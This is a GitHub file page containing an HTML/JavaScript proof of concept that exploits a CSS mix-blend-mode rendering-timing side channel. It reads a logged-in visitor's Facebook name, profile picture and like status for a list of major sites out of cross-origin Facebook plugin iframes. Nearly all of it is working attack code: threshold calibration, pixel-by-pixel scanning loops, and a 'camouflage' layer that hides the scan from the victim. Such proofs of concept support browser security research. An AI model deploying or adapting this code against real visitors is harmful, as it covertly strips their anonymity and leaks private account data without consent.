Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
560 lines (490 sloc) 21.6 KB
<html>
<head>
<style>
body {
margin: 0;
}
iframe {
border: none;
width: 500;
height: 500;
padding: unset;
margin: unset;
}
.overlay_layer {
position: absolute;
top: 0;
left: 0;
width: 45;
height: 45;
}
.interface {
position: absolute;
top: 480;
z-index: 5000;
}
.canvas1 {
position: relative;
top: -200;
left: 100;
border: 0px solid black;
}
.fb_name_surface {
position:absolute;
left: -3850px;
top: -420px;
transform: scale(25);
transform-origin: 0 0;
}
.fb_pic_surface {
position:absolute;
left: -5020px;
top: -220px;
transform: scale(22);
transform-origin: 0 0;
}
.fb_like_surface {
transform: scale(10);
transform-origin: 0 0;
}
.camouflage_layer {
position:absolute;
left: 0px;
top: 0px;
width: 1500px;
height: 900px;
display: none;
z-index: 9001;
background-color:white;
background-repeat: no-repeat;
background-size: 1300px;
}
.viewport {
position: fixed;
}
</style>
</head>
<body>
<div class="viewport">
<div id="camouflage_layer" class="camouflage_layer"></div>
<div id="frame_overlays"></div>
<div id="target_div"></div>
</div>
<div class="interface">
<b>Facebook data leak</b><br />
<input type="submit" value="Name leak" onClick="scan_fb_name(function() {output_area.value += 'Done';})">
<input type="submit" value="Toggle hide" onClick="toggle_hide()"><br />
#Layers: <input id="number_layers_text_field" type="text" value="700">
<input type="submit" value="Set" onClick="window.location.href = '#n_layers=' + document.getElementById('number_layers_text_field').value;location.reload();">
<br />
<textarea id="output_area" style="float:left;" cols="50" rows="20"></textarea>
<canvas id="canvas1" class="canvas1" width="400" height="400"></canvas>
</div>
<script>
var canvas = document.getElementById("canvas1");
var canvas_context = canvas.getContext("2d");
var canvas_width = 300;
var canvas_height = 180;
var imageData = canvas_context.createImageData(canvas_width, canvas_height);
var animate_iteration = 0;
var rendering_start_time = 0;
var animate_repetitions = 3;
var overlay_divs = document.getElementById("frame_overlays");
var target_div = document.getElementById("target_div");
var camouflage_layer = document.getElementById("camouflage_layer");
var output_area = document.getElementById("output_area");
var number_layers_text_field = document.getElementById("number_layers_text_field");
var current_color_test = 256;
var current_color_val = 0;
var current_scan_mode = "color_detection";
var current_page_liked = false;
// Taken from: https://developer.mozilla.org/de/docs/Web/CSS/CSS_Referenz/mix-blend-mode
var valid_blend_modes = ["normal", "multiply", "screen", "overlay", "darken", "lighten", "color-dodge",
"color-burn", "hard-light", "soft-light", "difference", "exclusion", "hue", "saturation", "color", "luminosity",
"initial", "inherit", "unset"];
var nodes = [];
/**
* Adds a layer to our scan stack.
*/
function add_blend_layer(id, zindex, color, mode) {
if (valid_blend_modes.indexOf(mode) == -1) {
console.log("[-] Invalid mode passed: %s", mode);
return;
}
var node = document.createElement("div");
node.id = id;
node.className = "overlay_layer";
node.style.backgroundColor = color;
node.style.mixBlendMode = mode;
node.style.zIndex = zindex;
overlay_divs.appendChild(node);
nodes.push(node);
return node;
}
/**
* Creates our "scanning" stack containing blend mode div layers.
*/
function create_overlays() {
// subtract value for each bit we know is set
// colors must be set later
add_blend_layer("overlay0", 1, "rgb(0, 0, 0)", "difference");
// colors must be set later
add_blend_layer("overlay1", 2, "rgb(0, 0, 0)", "lighten");
// bg_color - test_color
// results in zero of bg_color is smaller or equal to test_color
add_blend_layer("overlay2", 3, "rgb(0, 0, 0)", "difference");
// if bg is not zero, set color to 255
add_blend_layer("overlay3", 4, "rgb(255, 255, 255)", "color-dodge");
// bg is either 0 or 255. multiply with 10 (great test value)
// result is either 10 or 0
// colors must be set later
add_blend_layer("overlay4", 5, "rgb(0, 0, 0)", "multiply");
var number_layers = number_layers_text_field.value;
if(isNaN(number_layers)){
alert("#layers must be numeric, please refresh.");
}
// Fill the remaining stack with saturation blend layers as these will cause a strong side channel signal.
for(var i = 6; i < number_layers; i++) {
add_blend_layer("overlay" + i, i+1, "rgb(0, 255, 0)", "saturation");
}
}
/**
* Calibrate our scanner by using three steps.
* 1) Generate a test div that does NOT trigger our scanner (fast computation).
* 2) Measure the timing for this setup and change the div to trigger the side-channel.
* 3) Measure the timing again and compute an appropriate threshold.
*/
function calibrate_threshold(calibration_resolve) {
// Deactivate the target div for now.
target_div.style.display = "none";
// Increase the number of scanning steps to make the calibration more precise.
animate_repetitions = 3;
// Set our scanning stack to detect any colors with the blue channel >= 180.
nodes[0].style.backgroundColor = "rgb(0, 0, 0)";
nodes[1].style.backgroundColor = "rgb(0, 0, 180)";
nodes[2].style.backgroundColor = "rgb(0, 0, 180)";
nodes[4].style.backgroundColor = "rgb(0, 0, 10)";
// Add a temporary blend layer that does not trigger the side-channel (considering the scanning stack setup).
add_blend_layer("overlay_calibration", 0, "rgb(0, 0, 0)", "normal");
new Promise(function(resolve) {
requestAnimationFrame(function(timestamp) {
animate(timestamp, resolve);
});
}).then(
function(avg_rendering_time) {
var first_time_measurement = avg_rendering_time;
console.log("First measurement (non-triggering): " + first_time_measurement);
var last_div_element = nodes[nodes.length-1];
last_div_element.style.backgroundColor = "rgb(0, 0, 255)";
new Promise(function(resolve) {
requestAnimationFrame(function(timestamp) {
animate(timestamp, resolve);
});
}).then(
function(avg_rendering_time) {
console.log("Second measurement (triggering): " + avg_rendering_time);
if (avg_rendering_time <= first_time_measurement * 1.2) {
alert("Please refresh or try to increase the #layers parameter.");
}
var new_treshold = first_time_measurement + (avg_rendering_time - first_time_measurement)/2;
// Hide our calibration layer again.
last_div_element.style.display = "none";
// Display the target div again.
target_div.style.display = "block";
// Reset the number of scanning steps to the default value.
animate_repetitions = 3;
calibration_resolve(new_treshold);
}
);
}
);
}
var last_animate_time = 0;
var idle_time_measurement = 0;
/**
* Rendering loop which returns the average rendering time to the passed callback function.
* (This function is called each time the next frame is ready to be processed.)
*/
function animate(timestamp, resolve) {
var t = requestAnimationFrame(function(new_timestamp) {
animate(new_timestamp, resolve);
});
if(animate_iteration == 0)
rendering_start_time = timestamp;
// Force the rendering to kick in by alternating our scan stack visibility.
if(frame_overlays.style.display == "none") {
frame_overlays.style.display = "block";
} else {
frame_overlays.style.display = "none";
}
if(animate_iteration < animate_repetitions) {
// Avoid increasing our counter for
if(frame_overlays.style.display == "none")
animate_iteration++;
//else
//idle_time_measurement += performance.now() - rendering_start_time;
//last_animate_time
} else {
var time_spent = performance.now() - rendering_start_time;
// Correct the measured time spent because we didn't render in half of the cases.
//time_spent -= 20 * (animate_iteration / 2);
//document.getElementById("output_area").value += "Total spent: " + Math.round(time_spent) + " ms.\n";
//document.getElementById("output_area").value += "Avg. spent: " + Math.round(time_spent / animate_iteration) + " ms.\n";
var avg_rendering_time = time_spent / animate_iteration;
cancelAnimationFrame(t);
animate_iteration = 0;
//frame_overlays.style.display = "block";
resolve(avg_rendering_time);
}
}
var side_channel_treshold = -1;
var target_width = -1;
var target_height = -1;
var current_x = -1;
var current_y = -1;
var current_color_channel = 0;
var color_components = [0,0,0];
var current_color_bit = 0;
function image_preprocessing(last_result) {
// #4080FF (LIKED)
// #365899 (NOT LIKED)
// #4267B2 (CONTINUE WITH FB COLOR)
if (current_scan_mode == "like_detection" || current_scan_mode == "text_detection") {
// Prepare setup to detect a specific color.
// We want to detect if the blue channel/component has a value > 180.
// This is enough to detect white text on the blue FB backgrounds OR to check if a button is a like button.
current_color_test = 180;
nodes[0].style.backgroundColor = "rgb(0, 0, 0)";
nodes[1].style.backgroundColor = "rgb(" + (current_color_test - 1) + ", " + (current_color_test - 1) + ", " + (current_color_test - 1) + ")";
nodes[2].style.backgroundColor = "rgb(" + (current_color_test - 1) + ", " + (current_color_test - 1) + ", " + (current_color_test - 1) + ")";
nodes[4].style.backgroundColor = "rgb(0, 0, 10)";
if (current_scan_mode == "text_detection") {
if (last_result) {
if (last_result >= side_channel_treshold) {
// draw black pixel in canvas
canvas_context.fillStyle = "rgb(" + color_components[0] + ", " + color_components[1] + ", " + color_components[2] + ")";
canvas_context.fillRect(current_x * 5, current_y * 5, 5, 5);
}
}
// also paint the text
if (current_x >= target_width) {
current_x = 0;
current_y++;
} else {
current_x++;
}
return [(current_y >= target_height), null];
} else {
if (last_result) {
// FINISH HERE
//document.getElementById("output_area").value += "TIME REQ: " + last_result + " ms.\n";
return [true, (last_result >= side_channel_treshold)];
}
}
} else {
// current_scan_mode == "color_detection"
// scan arbitrary picture up to a specified color precision.
if (last_result) {
if (last_result >= side_channel_treshold)
current_color_val += current_color_test;
}
// color precision. of 3 bits. (reads the upper 3 bits)
if (current_color_bit >= 1) {
// finished one channel, move on to the next one
color_components[current_color_channel] = current_color_val;
// reset color probe
current_color_bit = 0;
current_color_test = 128;
current_color_val = 0;
// next color channel/component
current_color_channel++;
if (current_color_channel > 2) {
// draw pixel in canvas
//canvas_context.fillStyle = "rgb(" + color_components[0] + ", " + color_components[1] + ", " + color_components[2] + ")";
canvas_context.fillStyle = "rgb(" + color_components.join(",") + ")";
canvas_context.fillRect(current_x * 5, current_y * 5, 5, 5);
// reset temporary variables and continue with next pixel
current_color_channel = 0;
if (current_x >= target_width) {
current_x = 0;
current_y++;
} else {
current_x++;
}
}
} else {
current_color_bit++;
current_color_test >>= 1;
}
nodes[0].style.backgroundColor = "rgb(" + current_color_val + ", " + current_color_val + ", " + current_color_val + ")";
nodes[1].style.backgroundColor = "rgb(" + (current_color_test - 1) + ", " + (current_color_test - 1) + ", " + (current_color_test - 1) + ")";
nodes[2].style.backgroundColor = "rgb(" + (current_color_test - 1) + ", " + (current_color_test - 1) + ", " + (current_color_test - 1) + ")";
// prepare our scanner according to the current channel
switch (current_color_channel) {
case 0:
nodes[4].style.backgroundColor = "rgb(10, 0, 0)";
break;
case 1:
nodes[4].style.backgroundColor = "rgb(0, 10, 0)";
break;
case 2:
nodes[4].style.backgroundColor = "rgb(0, 0, 10)";
break;
}
return [(current_y >= target_height), null];
}
return [false, null];
}
function scanning(resolve, last_result) {
// Update the scanner position.
for(var i = 0; i < nodes.length; i++) {
nodes[i].style.left = current_x * 25;
nodes[i].style.top = current_y * 25;
}
// Prepare the scanning setup, evalaute potential last results and determine if the scan is finished.
var scanning_results = image_preprocessing(last_result);
var scan_finished = scanning_results[0];
var scan_return = scanning_results[1];
if (scan_finished) {
resolve(scan_return);
} else {
new Promise(function(animate_resolve) {
requestAnimationFrame(function(timestamp) {
animate(timestamp, animate_resolve);
});
}).then(
function(avg_rendering_time) {
scanning(resolve, avg_rendering_time);
}
);
}
}
function scan_profile_picture(resolve) {
prepare_scanning();
// Set the correct scanning mode and other scanning parameters.
target_div.innerHTML = "";
var iframe = document.createElement("iframe");
iframe.id = "target_iframe";
iframe.className = "fb_pic_surface";
iframe.src = "https://www.facebook.com/v2.2/plugins/login_button.php?app_id=274266067164&channel=https://_&locale=en_US&sdk=joey&use_continue_as=true&size=large&width=268px";
target_div.appendChild(iframe);
current_scan_mode = "color_detection";
current_x = 0;
current_y = 0;
target_width = 35;
target_height = 35;
animate_repetitions = 3;
iframe.addEventListener("load", function() {
scanning(resolve);
});
}
function scan_fb_name(resolve) {
prepare_scanning();
// Set the correct scanning mode and other scanning parameters.
target_div.innerHTML = "";
var iframe = document.createElement("iframe");
iframe.id = "target_iframe";
iframe.className = "fb_name_surface";
iframe.src = "https://www.facebook.com/v2.2/plugins/login_button.php?app_id=274266067164&channel=https://_&locale=en_US&sdk=joey&use_continue_as=true&size=large&width=268px";
target_div.appendChild(iframe);
current_scan_mode = "text_detection";
current_x = 0;
current_y = 0;
target_width = 40;
target_height = 20;
animate_repetitions = 3;
iframe.addEventListener("load", function() {
scanning(resolve);
});
}
function likes_page(resolve, page) {
prepare_scanning();
// Set the correct scanning mode and other scanning parameters.
target_div.innerHTML = "";
var iframe = document.createElement("iframe");
iframe.id = "target_iframe";
iframe.className = "fb_like_surface";
iframe.src = "https://www.facebook.com/plugins/like.php?share=false&layout=button&show_faces=false&href=" + page;
target_div.appendChild(iframe);
current_scan_mode = "like_detection";
current_x = 0;
current_y = 1;
// Improve accuracy by increasing the number of scanning repetitions.
animate_repetitions = 3;
new Promise(function(scanning_resolve) {
iframe.addEventListener("load", function() {
scanning(scanning_resolve);
});
}).then(
function(scanning_result) {
resolve(scanning_result);
}
);
}
function toggle_hide() {
if(!camouflage_layer.style.display || camouflage_layer.style.display == "none") {
camouflage_layer.style.display = "block";
} else {
camouflage_layer.style.display = "none";
}
}
function reset_canvas() {
canvas_context.fillStyle = '#eeeeee';
canvas_context.fillRect(0, 0, canvas_width, canvas_height);
}
function prepare_scanning() {
// Reset our canvas.
reset_canvas();
}
var like_status_pages = ["http://google.com", "http://youtube.com", "http://facebook.com", "http://baidu.com", "http://ebay.com", "http://wikipedia.org", "http://yahoo.com", "http://qq.com", "http://reddit.com", "http://taobao.com", "http://twitter.com", "http://amazon.com", "http://tmall.com", "http://sohu.com", "http://live.com", "http://vk.com", "http://instagram.com", "http://sina.com.cn", "http://jd.com", "http://weibo.com", "http://360.cn", "http://linkedin.com", "http://list.tmall.com", "http://yandex.ru", "http://netflix.com", "http://t.co", "http://imgur.com", "http://bing.com", "http://msn.com", "http://onclkds.com", "http://microsoft.com", "http://twitch.tv", "http://hao123.com", "http://alipay.com", "http://tumblr.com"];
var like_statuses = [];
var scan_like_index = 0;
function like_pages(resolve) {
reset_canvas();
if(scan_like_index >= like_status_pages.length) {
resolve();
return;
}
new Promise(function(scanning_resolve) {
likes_page(scanning_resolve, like_status_pages[scan_like_index]);
}).then(
function(scanning_result) {
like_statuses.push(scanning_result);
document.getElementById("output_area").value += "Like " + like_status_pages[scan_like_index] + " ("+scanning_result+").\n";
scan_like_index++;
like_pages(resolve);
}
);
}
function getHashValue(key) {
var matches = location.hash.match(new RegExp(key+'=([^&]*)'));
return matches ? matches[1] : null;
}
// ---------------------------------------------------------------------------------------------------------
if(getHashValue("n_layers")) {
number_layers_text_field.value = getHashValue("n_layers");
}
// Create our "scanning" div stack.
create_overlays();
document.getElementById("output_area").value = "";
new Promise(function(resolve) {
// Calibrate the correct side-channel timing threshold.
calibrate_threshold(resolve);
}).then(
function(new_threshold) {
// Set global threshold to the new value.
side_channel_treshold = Math.round(new_threshold);
document.getElementById("output_area").value += "Calibtrated threshold: " + side_channel_treshold + " ms.\n";
// Start the scanning procedure to fetch the name.
new Promise(function(scanning_resolve) {
//like_pages(scanning_resolve);
}).then(
function(scanning_result) {
document.getElementById("output_area").value += "Scanning complete ("+scanning_result+").\n";
}
);
}
);
</script>
</body>
</html>